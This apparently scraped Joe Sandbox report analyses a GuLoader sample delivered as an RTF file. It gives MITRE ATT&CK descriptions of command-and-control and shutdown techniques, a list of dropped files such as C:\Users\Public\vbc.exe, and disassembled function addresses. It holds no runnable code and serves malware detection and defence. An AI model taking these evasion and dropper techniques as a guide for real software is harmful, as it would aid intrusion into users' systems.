Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report A3hamzfUkW

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: GuLoader

Yara Overview

Memory Dumps

Sigma Overview

Exploits

System Summary

Jbx Signature Overview

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{AEC18FB7-289C-4590-8608-E6589FAB5ACE}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BEE8909C-B6FC-409C-B03D-EA20BDD76A56}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{EA13411A-D846-4185-AA36-2A58C910FC07}.tmp

C:\Users\user\AppData\Local\Temp\KODAKKING.dat

C:\Users\user\AppData\Local\Temp\gamer.txt

C:\Users\user\AppData\Local\Temp\nspDD94.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\A3hamzfUkW.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\Desktop\~$hamzfUkW.rtf

C:\Users\Public\vbc.exe

Static File Info

General

File Icon

Windows Analysis Report
A3hamzfUkW

Function 0040352D Relevance: 79.2, APIs: 33, Strings: 12, Instructions: 450
stringfilecomCOMMON

Function 004056DE Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Function 73281BFF Relevance: 20.1, APIs: 13, Instructions: 597
stringlibrarymemoryCOMMONCrypto

Function 00405C49 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 036F57F0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 110
memorynativeCOMMON

Function 00406873 Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 00403F9A Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Function 00403BEC Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 215
stringregistryCOMMON

Function 0040307D Relevance: 21.2, APIs: 5, Strings: 7, Instructions: 181
memoryCOMMON

Function 004032B4 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 166
COMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 0040559F Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 0040689A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00405A6E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 73281817 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 0040605C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004020D8 Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43
windowCOMMON

Function 00405672 Relevance: 3.0, APIs: 2, Instructions: 32
comCOMMON

Function 0040690A Relevance: 3.0, APIs: 2, Instructions: 22
libraryloaderCOMMON

Function 0040602D Relevance: 3.0, APIs: 2, Instructions: 16
fileCOMMON